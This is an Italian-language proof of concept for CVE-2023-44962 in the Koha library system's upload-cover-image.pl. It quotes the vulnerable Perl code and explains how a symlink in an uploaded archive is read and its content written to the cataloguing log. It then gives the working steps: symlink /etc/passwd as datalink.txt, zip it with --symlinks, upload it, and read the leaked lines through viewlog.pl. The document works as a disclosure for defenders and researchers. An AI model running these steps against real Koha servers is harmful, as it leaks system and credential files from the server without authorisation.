ladydarwe/links.aPoC per CVE-2023-44962
PoC per CVE-2023-44962
Il caricamento di file di archivio contenenti link simbolici in upload-cover-image.pl può divulgare parte del contenuto dei file collegati.
...
foreach my $dir (@directories) {
my $file;
if ( -e "$dir/idlink.txt" ) {
$file = "$dir/idlink.txt";
}
elsif ( -e "$dir/datalink.txt" ) {
$file = "$dir/datalink.txt";
}
else {
next;
}
if ( open( my $fh, '<', $file ) ) {
while ( my $line = <$fh> ) {
my $delim =
( $line =~ /\t/ ) ? "\t"
: ( $line =~ /,/ ) ? ","
: "";
unless ( $delim eq "," || $delim eq "\t" ) {
warn
"Unrecognized or missing field delimeter. Please verify that you are using either a ',' or a 'tab'";
$error = 'DELERR';
}
else {
( $biblionumber, $filename ) = split $delim, $line, 2;
$biblionumber =~
s/[\"\r\n]//g; # remove offensive characters
$filename =~ s/[\"\r\n]//g;
$filename =~ s/^\s+//;
$filename =~ s/\s+$//;
if (C4::Context->preference("CataloguingLog")) {
logaction('CATALOGUING', 'MODIFY', $biblionumber, "biblio cover image: $filename");
}
...
Dal codice si può vedere che quando il file estratto contiene idlink.txt o datalink.txt, il contenuto del file viene letto e diviso secondo , o \t. La parte successiva del contenuto viene assegnata al valore di $filename, e quando l'attributo CataloguingLog è abilitato (abilitato per impostazione predefinita), $filename viene registrato.
Quando si accede a viewlog.pl, è possibile vedere il contenuto del file divulgato.
Per prima cosa, creare un file di archivio:
ln -s /etc/passwd datalink.txt
zip --symlinks datalink.zip datalink.txt
Quindi accedere al seguente URL per scrivere datalink.zip:
http://koha_ip:intranet_port/cgi-bin/koha/tools/upload-cover-image.pl
Il codice di risposta è 500.
Quindi accedere al seguente URL per leggere il contenuto del file:
http://192.168.176.139:8081/cgi-bin/koha/tools/viewlog.pl